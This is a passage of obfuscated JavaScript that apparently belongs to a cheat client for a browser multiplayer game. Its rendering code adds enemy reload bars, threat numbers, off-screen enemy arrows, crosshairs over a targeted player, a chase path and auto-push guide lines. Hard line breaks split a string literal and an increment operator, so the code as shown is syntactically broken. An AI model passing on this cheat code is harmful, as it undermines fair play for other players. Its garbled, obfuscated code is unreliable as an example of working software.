_0x4390c3.fillStyle = _0x3fce7e.isTeamObject(_0x21c5b5) ? "#8ecc51"
: "#cc5151";
_0x4390c3.roundRect(_0x5b6c38 - _0x124d71.healthBarWidth / 2,
_0x4ee335, _0x124d71.healthBarWidth * (_0x3fce7e.health / _0x3fce7e.maxHealth), 17
- _0x124d71.healthBarPad * 2, 7);
_0x4390c3.fill();
}
}
}
});
if (_0x4d2a54 == 0) {
if (_0xcaad53.length) {
_0xcaad53.forEach(_0x2058c5 => {
_0x5b6c38 = _0x2058c5.x - _0x5050ef;
_0x4ee335 = _0x2058c5.y - _0x42f06e;
_0x5b9f4f(_0x2058c5, _0x5b6c38, _0x4ee335);
});
}
}
}
function _0x5b9f4f(_0x19d29c, _0x2dc592, _0x433b44) {
_0x46db75(_0x19d29c, _0x4390c3, _0x2dc592, _0x433b44);
}
class _0x208613 {
constructor(_0x568a35, _0x19a6c9) {
this.init = function (_0x3a476f, _0x2b251a) {
this.scale = 0;
this.x = _0x3a476f;
this.y = _0x2b251a;
this.active = true;
};
this.update = function (_0x44cb05, _0x104963) {
if (this.active) {
this.scale += _0x104963 * 0.05;
if (this.scale >= _0x19a6c9) {
this.active = false;
} else {
_0x44cb05.globalAlpha = 1 - Math.max(0, this.scale / _0x19a6c9);
_0x44cb05.beginPath();
_0x44cb05.arc(this.x / _0x124d71.mapScale * _0x35f92e.width, this.y
/ _0x124d71.mapScale * _0x35f92e.width, this.scale, 0, Math.PI * 2);
_0x44cb05.stroke();
}
}
};
this.color = _0x568a35;
}
}
function _0x2b13aa(_0x5a3b41, _0x225d1f) {
_0x3c5fba = _0x1f8ce6.find(_0x57820b => !_0x57820b.active);
if (!_0x3c5fba) {
_0x3c5fba = new _0x208613("#fff", _0x124d71.mapPingScale);
_0x1f8ce6.push(_0x3c5fba);
}
_0x3c5fba.init(_0x5a3b41, _0x225d1f);
}
function _0x3f5e0a() {
_0x370e6a.x = _0x21c5b5.x;
_0x370e6a.y = _0x21c5b5.y;
}
function _0x57f629(_0x5f49d7) {
if (_0x21c5b5 && _0x21c5b5.alive) {
_0x2e7f04.clearRect(0, 0, _0x35f92e.width, _0x35f92e.height);
_0x2e7f04.lineWidth = 4;
for (let _0x3c63ec = 0; _0x3c63ec < _0x1f8ce6.length; ++_0x3c63ec) {
_0x3c5fba = _0x1f8ce6[_0x3c63ec];
_0x2e7f04.strokeStyle = _0x3c5fba.color;
_0x3c5fba.update(_0x2e7f04, _0x5f49d7);
}
_0x2e7f04.globalAlpha = 1;
_0x2e7f04.fillStyle = "#ff0000";
if (_0x12cb85.length) {
_0x2e7f04.fillStyle = "#abcdef";
_0x2e7f04.font = "34px Hammersmith One";
_0x2e7f04.textBaseline = "middle";
_0x2e7f04.textAlign = "center";
for (let _0x31c3ae = 0; _0x31c3ae < _0x12cb85.length;) {
_0x2e7f04.fillText("L", _0x12cb85[_0x31c3ae].x / _0x124d71.mapScale *
_0x35f92e.width, _0x12cb85[_0x31c3ae].y / _0x124d71.mapScale * _0x35f92e.height);
_0x31c3ae += 2;
}
}
_0x2e7f04.globalAlpha = 1;
_0x2e7f04.fillStyle = "#fff";
_0x14f80f(_0x21c5b5.x / _0x124d71.mapScale * _0x35f92e.width, _0x21c5b5.y
/ _0x124d71.mapScale * _0x35f92e.height, 7, _0x2e7f04, true);
_0x2e7f04.fillStyle = "rgba(255,255,255,0.35)";
if (_0x21c5b5.team && _0x19f2f1) {
for (let _0x447b7a = 0; _0x447b7a < _0x19f2f1.length;) {
_0x14f80f(_0x19f2f1[_0x447b7a] / _0x124d71.mapScale *
_0x35f92e.width, _0x19f2f1[_0x447b7a + 1] / _0x124d71.mapScale * _0x35f92e.height,
7, _0x2e7f04, true);
_0x447b7a += 2;
}
}
if (_0x484803.length) {
_0x484803.forEach(_0x20cd71 => {
if (_0x20cd71.inGame) {
_0x2e7f04.globalAlpha = 1;
_0x2e7f04.strokeStyle = "#cc5151";
_0x14f80f(_0x20cd71.x2 / _0x124d71.mapScale * _0x35f92e.width,
_0x20cd71.y2 / _0x124d71.mapScale * _0x35f92e.height, 7, _0x2e7f04, false, true);
}
});
}
if (_0x3bc527) {
_0x2e7f04.fillStyle = "#fc5553";
_0x2e7f04.font = "34px Hammersmith One";
_0x2e7f04.textBaseline = "middle";
_0x2e7f04.textAlign = "center";
_0x2e7f04.fillText("L", _0x3bc527.x / _0x124d71.mapScale *
_0x35f92e.width, _0x3bc527.y / _0x124d71.mapScale * _0x35f92e.height);
}
if (_0x370e6a) {
_0x2e7f04.fillStyle = "#fff";
_0x2e7f04.font = "34px Hammersmith One";
_0x2e7f04.textBaseline = "middle";
_0x2e7f04.textAlign = "center";
_0x2e7f04.fillText("L", _0x370e6a.x / _0x124d71.mapScale *
_0x35f92e.width, _0x370e6a.y / _0x124d71.mapScale * _0x35f92e.height);
}
}
}
let _0x19d5ac =
["https://upload.wikimedia.org/wikipedia/commons/9/95/Crosshairs_Red.svg",
"https://upload.wikimedia.org/wikipedia/commons/9/95/Crosshairs_Red.svg"];
let _0x467b49 = {};
let _0xaef5f6 = {};
let _0x43aff2 = ["crown", "skull"];
function _0x59b3b6() {
for (let _0x5f08e1 = 0; _0x5f08e1 < _0x43aff2.length; ++_0x5f08e1) {
let _0x50cd54 = new Image();
_0x50cd54.onload = function () {
this.isLoaded = true;
};
_0x50cd54.src = "./../img/icons/" + _0x43aff2[_0x5f08e1] + ".png";
_0xaef5f6[_0x43aff2[_0x5f08e1]] = _0x50cd54;
}
for (let _0x13462b = 0; _0x13462b < _0x19d5ac.length; ++_0x13462b) {
let _0x4432cc = new Image();
_0x4432cc.onload = function () {
this.isLoaded = true;
};
_0x4432cc.src = _0x19d5ac[_0x13462b];
_0x467b49[_0x13462b] = _0x4432cc;
}
}
_0x59b3b6();
function _0x3972d5() {
if (_0x124d71.resetRender) {
_0x4390c3.clearRect(0, 0, _0x238a9e.width, _0x238a9e.height);
_0x4390c3.beginPath();
}
if (true) {
if (_0x21c5b5) {
if (false) {
_0x253288 = _0x21c5b5.x;
_0x1c942f = _0x21c5b5.y;
} else {
let _0x20ff93 = _0x4cedba.getDistance(_0x253288, _0x1c942f,
_0x21c5b5.x, _0x21c5b5.y);
let _0x3fcd81 = _0x4cedba.getDirection(_0x21c5b5.x, _0x21c5b5.y,
_0x253288, _0x1c942f);
let _0x3bd10e = Math.min(_0x20ff93 * 0.01 * _0x32bba9, _0x20ff93);
if (_0x20ff93 > 0.05) {
_0x253288 += _0x3bd10e * Math.cos(_0x3fcd81);
_0x1c942f += _0x3bd10e * Math.sin(_0x3fcd81);
} else {
_0x253288 = _0x21c5b5.x;
_0x1c942f = _0x21c5b5.y;
}
}
} else {
_0x253288 = _0x124d71.mapScale / 2;
_0x1c942f = _0x124d71.mapScale / 2;
}
let _0x9b86a7 = _0xd86dfc - 1000 / _0x124d71.serverUpdateRate;
let _0x308201;
for (let _0x735e6 = 0; _0x735e6 < _0x119a04.length + _0x18eaf3.length; +
+_0x735e6) {
_0x3fce7e = _0x119a04[_0x735e6] || _0x18eaf3[_0x735e6 -
_0x119a04.length];
if (_0x3fce7e && _0x3fce7e.visible) {
if (_0x3fce7e.forcePos) {
_0x3fce7e.x = _0x3fce7e.x2;
_0x3fce7e.y = _0x3fce7e.y2;
_0x3fce7e.dir = _0x3fce7e.d2;
} else {
let _0x3e54b0 = _0x3fce7e.t2 - _0x3fce7e.t1;
let _0x1051e7 = _0x9b86a7 - _0x3fce7e.t1;
let _0x3df70d = _0x1051e7 / _0x3e54b0;
let _0x4115a3 = 170;
_0x3fce7e.dt += _0x32bba9;
let _0x1530d9 = Math.min(1.7, _0x3fce7e.dt / _0x4115a3);
_0x308201 = _0x3fce7e.x2 - _0x3fce7e.x1;
_0x3fce7e.x = _0x3fce7e.x1 + _0x308201 * _0x1530d9;
_0x308201 = _0x3fce7e.y2 - _0x3fce7e.y1;
_0x3fce7e.y = _0x3fce7e.y1 + _0x308201 * _0x1530d9;
if (_0x124d71.anotherVisual) {
_0x3fce7e.dir = Math.lerpAngle(_0x3fce7e.d2, _0x3fce7e.d1,
Math.min(1.2, _0x3df70d));
} else {
_0x3fce7e.dir = Math.lerpAngle(_0x3fce7e.d2, _0x3fce7e.d1,
Math.min(1.2, _0x3df70d));
}
}
}
}
let _0x2e193e = _0x253288 - _0x2c4533 / 2;
let _0x385663 = _0x1c942f - _0xef4b05 / 2;
if (_0x124d71.snowBiomeTop - _0x385663 <= 0 && _0x124d71.mapScale -
_0x124d71.snowBiomeTop - _0x385663 >= _0xef4b05) {
_0x4390c3.fillStyle = "#b6db66";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (_0x124d71.mapScale - _0x124d71.snowBiomeTop - _0x385663 <= 0)
{
_0x4390c3.fillStyle = "#dbc666";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (_0x124d71.snowBiomeTop - _0x385663 >= _0xef4b05) {
_0x4390c3.fillStyle = "#fff";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (_0x124d71.snowBiomeTop - _0x385663 >= 0) {
_0x4390c3.fillStyle = "#fff";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0x124d71.snowBiomeTop -
_0x385663);
_0x4390c3.fillStyle = "#b6db66";
_0x4390c3.fillRect(0, _0x124d71.snowBiomeTop - _0x385663, _0x2c4533,
_0xef4b05 - (_0x124d71.snowBiomeTop - _0x385663));
} else {
_0x4390c3.fillStyle = "#b6db66";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0x124d71.mapScale -
_0x124d71.snowBiomeTop - _0x385663);
_0x4390c3.fillStyle = "#dbc666";
_0x4390c3.fillRect(0, _0x124d71.mapScale - _0x124d71.snowBiomeTop -
_0x385663, _0x2c4533, _0xef4b05 - (_0x124d71.mapScale - _0x124d71.snowBiomeTop -
_0x385663));
}
if (!_0x451c65) {
_0x3e2867 += _0x35d210 * _0x124d71.waveSpeed * _0x32bba9;
if (_0x3e2867 >= _0x124d71.waveMax) {
_0x3e2867 = _0x124d71.waveMax;
_0x35d210 = -1;
} else if (_0x3e2867 <= 1) {
_0x3e2867 = _0x35d210 = 1;
}
_0x4390c3.globalAlpha = 1;
_0x4390c3.fillStyle = "#dbc666";
_0x20c7fe(_0x2e193e, _0x385663, _0x4390c3, _0x124d71.riverPadding);
_0x4390c3.fillStyle = "#91b2db";
_0x20c7fe(_0x2e193e, _0x385663, _0x4390c3, (_0x3e2867 - 1) * 250);
}
if (getEl("visualType").value != "honor") {
_0x4390c3.lineWidth = 3;
_0x4390c3.strokeStyle = "#000";
_0x4390c3.globalAlpha = 0.05;
_0x4390c3.beginPath();
let _0x531da9 = 60;
for (var _0x83c77d = -_0x2e193e % _0x531da9; _0x83c77d < _0x2c4533;
_0x83c77d += _0x531da9) {
if (_0x83c77d > 0) {
_0x4390c3.moveTo(_0x83c77d, 0);
_0x4390c3.lineTo(_0x83c77d, _0xef4b05);
}
}
for (var _0x7c70af = -_0x385663 % _0x531da9; _0x7c70af < _0xef4b05;
_0x7c70af += _0x531da9) {
if (_0x7c70af > 0) {
_0x4390c3.moveTo(0, _0x7c70af);
_0x4390c3.lineTo(_0x2c4533, _0x7c70af);
}
}
_0x4390c3.stroke();
}
if (_0x21c5b5) {
if (_0x3bc527) {
_0x4390c3.globalAlpha = 1;
_0x4390c3.fillStyle = "#fc5553";
_0x4390c3.font = "100px Hammersmith One";
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
_0x4390c3.fillText("x", _0x3bc527.x - _0x2e193e, _0x3bc527.y -
_0x385663);
}
if (_0x3d0fac.active) {
if (_0x3d0fac.array && (_0x3d0fac.chaseNear ? _0x462a20.length :
true)) {
_0x4390c3.lineWidth = _0x21c5b5.scale / 5;
_0x4390c3.globalAlpha = 1;
_0x4390c3.strokeStyle = "red";
_0x4390c3.beginPath();
_0x3d0fac.array.forEach((_0x53f199, _0x5a0fcb) => {
let _0x42a982 = {
x: _0x3d0fac.scale / _0x3d0fac.grid * _0x53f199.x,
y: _0x3d0fac.scale / _0x3d0fac.grid * _0x53f199.y
};
let _0x17a6bf = {
x: _0x21c5b5.x2 - _0x3d0fac.scale / 2 + _0x42a982.x -
_0x2e193e,
y: _0x21c5b5.y2 - _0x3d0fac.scale / 2 + _0x42a982.y - _0x385663
};
if (_0x5a0fcb == 0) {
_0x4390c3.moveTo(_0x17a6bf.x, _0x17a6bf.y);
} else {
_0x4390c3.lineTo(_0x17a6bf.x, _0x17a6bf.y);
}
});
_0x4390c3.stroke();
}
}
}
_0x4390c3.globalAlpha = 1;
_0x4390c3.strokeStyle = _0x419dfb;
_0x849e18(_0x2e193e, _0x385663);
_0x4390c3.globalAlpha = 1;
_0x4390c3.strokeStyle = _0x419dfb;
_0x512673(-1, _0x2e193e, _0x385663);
_0x4390c3.globalAlpha = 1;
_0x4390c3.lineWidth = _0x16e65c;
_0x8af6cf(0, _0x2e193e, _0x385663);
_0x48e89e(_0x2e193e, _0x385663, 0);
_0x4390c3.globalAlpha = 1;
for (let _0x492a8f = 0; _0x492a8f < _0x18eaf3.length; ++_0x492a8f) {
_0x3fce7e = _0x18eaf3[_0x492a8f];
if (_0x3fce7e.active && _0x3fce7e.visible) {
_0x3fce7e.animate(_0x32bba9);
_0x4390c3.save();
_0x4390c3.translate(_0x3fce7e.x - _0x2e193e, _0x3fce7e.y -
_0x385663);
_0x4390c3.rotate(_0x3fce7e.dir + _0x3fce7e.dirPlus - Math.PI / 2);
_0x31a5f4(_0x3fce7e, _0x4390c3);
_0x4390c3.restore();
}
}
_0x512673(0, _0x2e193e, _0x385663);
_0x8af6cf(1, _0x2e193e, _0x385663);
_0x512673(1, _0x2e193e, _0x385663);
_0x48e89e(_0x2e193e, _0x385663, 1);
_0x512673(2, _0x2e193e, _0x385663);
_0x512673(3, _0x2e193e, _0x385663);
_0x4390c3.fillStyle = "#000";
_0x4390c3.globalAlpha = 0.09;
if (_0x2e193e <= 0) {
_0x4390c3.fillRect(0, 0, -_0x2e193e, _0xef4b05);
}
if (_0x124d71.mapScale - _0x2e193e <= _0x2c4533) {
let _0x7820da = Math.max(0, -_0x385663);
_0x4390c3.fillRect(_0x124d71.mapScale - _0x2e193e, _0x7820da, _0x2c4533
- (_0x124d71.mapScale - _0x2e193e), _0xef4b05 - _0x7820da);
}
if (_0x385663 <= 0) {
_0x4390c3.fillRect(-_0x2e193e, 0, _0x2c4533 + _0x2e193e, -_0x385663);
}
if (_0x124d71.mapScale - _0x385663 <= _0xef4b05) {
let _0x27d9f6 = Math.max(0, -_0x2e193e);
let _0x22e0d3 = 0;
if (_0x124d71.mapScale - _0x2e193e <= _0x2c4533) {
_0x22e0d3 = _0x2c4533 - (_0x124d71.mapScale - _0x2e193e);
}
_0x4390c3.fillRect(_0x27d9f6, _0x124d71.mapScale - _0x385663, _0x2c4533
- _0x27d9f6 - _0x22e0d3, _0xef4b05 - (_0x124d71.mapScale - _0x385663));
}
let _0x1046a5 = false;
setInterval(() => {
_0x1046a5 = !_0x1046a5;
}, 30000);
_0x4390c3.globalAlpha = 1;
if (getEl("brightnesstype").value == "oe") {
_0x4390c3.fillStyle = "rgba(0, 0, 45, 0.55)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (getEl("brightnesstype").value == "fz") {
if (_0x1046a5) {
_0x4390c3.fillStyle = "rgba(0, 0, 70, 0.45)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else {
_0x4390c3.fillStyle = "rgba(0, 0, 70, 0.35)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
}
} else if (getEl("brightnesstype").value == "blox") {
_0x4390c3.fillStyle = "rgba(0, 0, 70, 0.70)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (getEl("brightnesstype").value == "hnr") {
_0x4390c3.fillStyle = "rgba(5, 0, 70, 0.55)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else if (getEl("brightnesstype").value == "yur") {
_0x4390c3.fillStyle = "rgba(0, 0, 45, 0.55)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
} else {
_0x4390c3.fillStyle = "rgba(20, 0, 70, 0.45)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
_0x4390c3.fillStyle = "rgba(0, 5, 0, 0.15)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
_0x4390c3.fillStyle = "rgba(255, 255, 255, 0.025)";
_0x4390c3.fillRect(0, 0, _0x2c4533, _0xef4b05);
}
_0x4390c3.strokeStyle = _0x37e085;
_0x4390c3.globalAlpha = 1;
for (let _0x5c90bd = 0; _0x5c90bd < _0x119a04.length + _0x18eaf3.length;
++_0x5c90bd) {
_0x3fce7e = _0x119a04[_0x5c90bd] || _0x18eaf3[_0x5c90bd -
_0x119a04.length];
if (_0x3fce7e.visible) {
_0x4390c3.strokeStyle = _0x37e085;
if (_0x3fce7e.skinIndex != 10 || _0x3fce7e == _0x21c5b5 ||
_0x3fce7e.team && _0x3fce7e.team == _0x21c5b5.team) {
let _0x3c31a5 = (_0x3fce7e.team ? "[" + _0x3fce7e.team + "] " : "")
+ (_0x3fce7e.name || "");
if (_0x3c31a5 != "") {
_0x4390c3.font = (_0x3fce7e.nameScale || 30) + "px Hammersmith
One";
_0x4390c3.fillStyle = "#fff";
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
_0x4390c3.lineWidth = _0x3fce7e.nameScale ? 11 : 8;
_0x4390c3.lineJoin = "round";
_0x4390c3.strokeText(_0x3c31a5, _0x3fce7e.x - _0x2e193e,
_0x3fce7e.y - _0x385663 - _0x3fce7e.scale - _0x124d71.nameY);
_0x4390c3.fillText(_0x3c31a5, _0x3fce7e.x - _0x2e193e,
_0x3fce7e.y - _0x385663 - _0x3fce7e.scale - _0x124d71.nameY);
if (_0x3fce7e.isLeader && _0xaef5f6.crown.isLoaded) {
let _0x24a271 = _0x124d71.crownIconScale;
let _0x87887 = _0x3fce7e.x - _0x2e193e - _0x24a271 / 2 -
_0x4390c3.measureText(_0x3c31a5).width / 2 - _0x124d71.crownPad;
_0x4390c3.drawImage(_0xaef5f6.crown, _0x87887, _0x3fce7e.y -
_0x385663 - _0x3fce7e.scale - _0x124d71.nameY - _0x24a271 / 2 - 5, _0x24a271,
_0x24a271);
}
if (_0x3fce7e.iconIndex == 1 && _0xaef5f6.skull.isLoaded) {
let _0x4caf64 = _0x124d71.crownIconScale;
let _0x36f6d0 = _0x3fce7e.x - _0x2e193e - _0x4caf64 / 2 +
_0x4390c3.measureText(_0x3c31a5).width / 2 + _0x124d71.crownPad;
_0x4390c3.drawImage(_0xaef5f6.skull, _0x36f6d0, _0x3fce7e.y -
_0x385663 - _0x3fce7e.scale - _0x124d71.nameY - _0x4caf64 / 2 - 5, _0x4caf64,
_0x4caf64);
}
if (_0x3fce7e.isPlayer && _0x37a646.wait && _0x4e7604 ==
_0x3fce7e && (_0x3fce7e.backupNobull ? _0x467b49[1].isLoaded :
_0x467b49[0].isLoaded) && _0x462a20.length && !_0x4f4659) {
let _0x52848d = _0x3fce7e.scale * 2.2;
_0x4390c3.drawImage(_0x3fce7e.backupNobull ? _0x467b49[1] :
_0x467b49[0], _0x3fce7e.x - _0x2e193e - _0x52848d / 2, _0x3fce7e.y - _0x385663 -
_0x52848d / 2, _0x52848d, _0x52848d);
}
}
if (_0x3fce7e.health > 0) {
_0x4390c3.fillStyle = _0x37e085;
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarWidth - _0x124d71.healthBarPad, _0x3fce7e.y - _0x385663 +
_0x3fce7e.scale + _0x124d71.nameY, _0x124d71.healthBarWidth * 2 +
_0x124d71.healthBarPad * 2, 17, 8);
_0x4390c3.fill();
_0x4390c3.fillStyle = _0x3fce7e == _0x21c5b5 || _0x3fce7e.team &&
_0x3fce7e.team == _0x21c5b5.team ? "#8ecc51" : "#cc5151";
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarWidth, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale +
_0x124d71.nameY + _0x124d71.healthBarPad, _0x124d71.healthBarWidth * 2 *
(_0x3fce7e.health / _0x3fce7e.maxHealth), 17 - _0x124d71.healthBarPad * 2, 7);
_0x4390c3.fill();
if (_0x3fce7e.isPlayer) {
_0x4390c3.globalAlpha = 1;
if (getEl("visualType").value == "honor") {
let _0x5a2247 = {
primary: _0x3fce7e.primaryIndex == undefined ? 1 :
(_0x4b879d.weapons[_0x3fce7e.primaryIndex].speed -
_0x3fce7e.reloads[_0x3fce7e.primaryIndex]) /
_0x4b879d.weapons[_0x3fce7e.primaryIndex].speed,
secondary: _0x3fce7e.secondaryIndex == undefined ? 1 :
(_0x4b879d.weapons[_0x3fce7e.secondaryIndex].speed -
_0x3fce7e.reloads[_0x3fce7e.secondaryIndex]) /
_0x4b879d.weapons[_0x3fce7e.secondaryIndex].speed,
turret: (2500 - _0x3fce7e.reloads[53]) / 2500
};
_0x4390c3.fillStyle = _0x37e085;
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarPad, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale + _0x124d71.nameY
- 13, _0x124d71.healthBarWidth + _0x124d71.healthBarPad * 2, 17, 8);
_0x4390c3.fill();
_0x4390c3.fillStyle = _0x3fce7e == _0x21c5b5 ||
_0x3fce7e.team && _0x3fce7e.team == _0x21c5b5.team ? "#8ecc51" : "#cc5151";
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e, _0x3fce7e.y -
_0x385663 + _0x3fce7e.scale + _0x124d71.nameY - 13 + _0x124d71.healthBarPad,
_0x124d71.healthBarWidth * _0x5a2247.secondary, 17 - _0x124d71.healthBarPad * 2,
7);
_0x4390c3.fill();
_0x4390c3.fillStyle = _0x37e085;
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarWidth - _0x124d71.healthBarPad, _0x3fce7e.y - _0x385663 +
_0x3fce7e.scale + _0x124d71.nameY - 13, _0x124d71.healthBarWidth +
_0x124d71.healthBarPad * 2, 17, 8);
_0x4390c3.fill();
_0x4390c3.fillStyle = _0x3fce7e == _0x21c5b5 ||
_0x3fce7e.team && _0x3fce7e.team == _0x21c5b5.team ? "#8ecc51" : "#cc5151";
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarWidth, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale +
_0x124d71.nameY - 13 + _0x124d71.healthBarPad, _0x124d71.healthBarWidth *
_0x5a2247.primary, 17 - _0x124d71.healthBarPad * 2, 7);
_0x4390c3.fill();
} else {
_0x4390c3.fillStyle = _0x3fce7e == _0x21c5b5 ||
_0x3fce7e.team && _0x3fce7e.team == _0x21c5b5.team ? "#8ecc51" : "#cc5151";
if (_0x3fce7e.primaryIndex == undefined ? false :
_0x3fce7e.reloads[_0x3fce7e.primaryIndex] > 0) {
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e -
_0x124d71.healthBarWidth, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale +
_0x124d71.nameY + _0x124d71.healthBarPad, _0x124d71.healthBarWidth *
(_0x3fce7e.reloads[_0x3fce7e.primaryIndex] /
_0x4b879d.weapons[_0x3fce7e.primaryIndex].speed), 17 - _0x124d71.healthBarPad * 2,
7);
_0x4390c3.fill();
}
if (_0x3fce7e.secondaryIndex == undefined ? false :
_0x3fce7e.reloads[_0x3fce7e.secondaryIndex] > 0) {
_0x4390c3.roundRect(_0x3fce7e.x - _0x2e193e +
_0x124d71.healthBarWidth * ((_0x4b879d.weapons[_0x3fce7e.secondaryIndex].speed -
_0x3fce7e.reloads[_0x3fce7e.secondaryIndex]) /
_0x4b879d.weapons[_0x3fce7e.secondaryIndex].speed), _0x3fce7e.y - _0x385663 +
_0x3fce7e.scale + _0x124d71.nameY + _0x124d71.healthBarPad,
_0x124d71.healthBarWidth * (_0x3fce7e.reloads[_0x3fce7e.secondaryIndex] /
_0x4b879d.weapons[_0x3fce7e.secondaryIndex].speed), 17 - _0x124d71.healthBarPad *
2, 7);
_0x4390c3.fill();
}
}
_0x4390c3.globalAlpha = 1;
_0x4390c3.font = "20px Hammersmith One";
_0x4390c3.fillStyle = "#fff";
_0x4390c3.strokeStyle = _0x37e085;
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
_0x4390c3.lineWidth = 8;
_0x4390c3.lineJoin = "round";
let _0xafad5b = [];
if (_0x3fce7e == _0x21c5b5) {} else {
_0xafad5b = [_0x3fce7e.primaryIndex, _0x3fce7e.secondaryIndex
|| 0, _0x4cedba.fixTo(_0x3fce7e.damageThreat, 2)];
_0x4390c3.strokeText("[" + _0xafad5b.join(",") + "]",
_0x3fce7e.x - _0x2e193e, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale +
_0x124d71.nameY + 27);
_0x4390c3.fillText("[" + _0xafad5b.join(",") + "]",
_0x3fce7e.x - _0x2e193e, _0x3fce7e.y - _0x385663 + _0x3fce7e.scale +
_0x124d71.nameY + 27);
}
_0x4390c3.globalAlpha = 1;
_0x4390c3.font = "30px Hammersmith One";
_0x4390c3.fillStyle = "#fff";
_0x4390c3.strokeStyle = _0x37e085;
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
_0x4390c3.lineWidth = 8;
_0x4390c3.lineJoin = "round";
let _0x4eff1f = _0x124d71.crownIconScale;
let _0x58902b = _0x3fce7e.x - _0x2e193e - _0x4eff1f / 2 +
_0x4390c3.measureText(_0x3c31a5).width / 2 + _0x124d71.crownPad +
(_0x3fce7e.iconIndex == 1 ? 82.5 : 30);
_0x4390c3.strokeText(_0x3fce7e.skinIndex == 45 &&
_0x3fce7e.shameTimer > 0 ? _0x3fce7e.shameTimer : _0x3fce7e.shameCount, _0x58902b,
_0x3fce7e.y - _0x385663 - _0x3fce7e.scale - _0x124d71.nameY);
_0x4390c3.fillText(_0x3fce7e.skinIndex == 45 &&
_0x3fce7e.shameTimer > 0 ? _0x3fce7e.shameTimer : _0x3fce7e.shameCount, _0x58902b,
_0x3fce7e.y - _0x385663 - _0x3fce7e.scale - _0x124d71.nameY);
if (!_0x3fce7e.isTeam(_0x21c5b5)) {
let _0x59be6b = {
x: _0x5048c4 / 2,
y: _0xeeaf5 / 2
};
let _0x1cc36a = Math.min(1, _0x4cedba.getDistance(0, 0,
_0x21c5b5.x - _0x3fce7e.x, (_0x21c5b5.y - _0x3fce7e.y) * (16 / 9)) * 100 /
(_0x124d71.maxScreenHeight / 2) / _0x59be6b.y);
let _0x5dc093 = _0x59be6b.y * _0x1cc36a;
let _0x30d27d = _0x5dc093 *
Math.cos(_0x4cedba.getDirect(_0x3fce7e, _0x21c5b5, 0, 0));
let _0x58cc96 = _0x5dc093 *
Math.sin(_0x4cedba.getDirect(_0x3fce7e, _0x21c5b5, 0, 0));
_0x4390c3.save();
_0x4390c3.translate(_0x21c5b5.x - _0x2e193e + _0x30d27d,
_0x21c5b5.y - _0x385663 + _0x58cc96);
_0x4390c3.rotate(_0x3fce7e.aim2 + Math.PI / 2);
let _0x2b71aa = 255 - _0x3fce7e.sid * 2;
_0x4390c3.fillStyle = "rgb(" + _0x2b71aa + ", " + _0x2b71aa +
", " + _0x2b71aa + ")";
_0x4390c3.globalAlpha = _0x1cc36a;
let _0xb29df0 = function (_0x204cf3, _0x5dd790) {
_0x5dd790 = _0x5dd790 || _0x4390c3;
let _0x3f6f2d = _0x204cf3 * (Math.sqrt(3) / 2);
_0x5dd790.beginPath();
_0x5dd790.moveTo(0, -_0x3f6f2d / 1.5);
_0x5dd790.lineTo(-_0x204cf3 / 2, _0x3f6f2d / 2);
_0x5dd790.lineTo(_0x204cf3 / 2, _0x3f6f2d / 2);
_0x5dd790.lineTo(0, -_0x3f6f2d / 1.5);
_0x5dd790.fill();
_0x5dd790.closePath();
};
_0xb29df0(25, _0x4390c3);
_0x4390c3.restore();
}
}
}
}
}
}
if (_0x21c5b5) {
if (_0x8f1613.autoPush) {
_0x4390c3.lineWidth = 5;
_0x4390c3.globalAlpha = 1;
_0x4390c3.beginPath();
_0x4390c3.strokeStyle = "white";
_0x4390c3.moveTo(_0x21c5b5.x - _0x2e193e, _0x21c5b5.y - _0x385663);
_0x4390c3.lineTo(_0x8f1613.pushData.x2 - _0x2e193e,
_0x8f1613.pushData.y2 - _0x385663);
_0x4390c3.lineTo(_0x8f1613.pushData.x - _0x2e193e,
_0x8f1613.pushData.y - _0x385663);
_0x4390c3.stroke();
}
}
_0x4390c3.globalAlpha = 1;
_0x376c55.update(_0x32bba9, _0x4390c3, _0x2e193e, _0x385663);
for (let _0xefa8ee = 0; _0xefa8ee < _0x119a04.length; ++_0xefa8ee) {
_0x3fce7e = _0x119a04[_0xefa8ee];
if (_0x3fce7e.visible) {
if (_0x3fce7e.chatCountdown > 0) {
_0x3fce7e.chatCountdown -= _0x32bba9;
if (_0x3fce7e.chatCountdown <= 0) {
_0x3fce7e.chatCountdown = 0;
}
_0x4390c3.font = "32px Hammersmith One";
let _0x15935c = _0x4390c3.measureText(_0x3fce7e.chatMessage);
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
let _0x2f278e = _0x3fce7e.x - _0x2e193e;
let _0x54e309 = _0x3fce7e.y - _0x3fce7e.scale - _0x385663 - 90;
let _0x403ccc = 47;
let _0x12811c = _0x15935c.width + 17;
_0x4390c3.fillStyle = "rgba(0,0,0,0.2)";
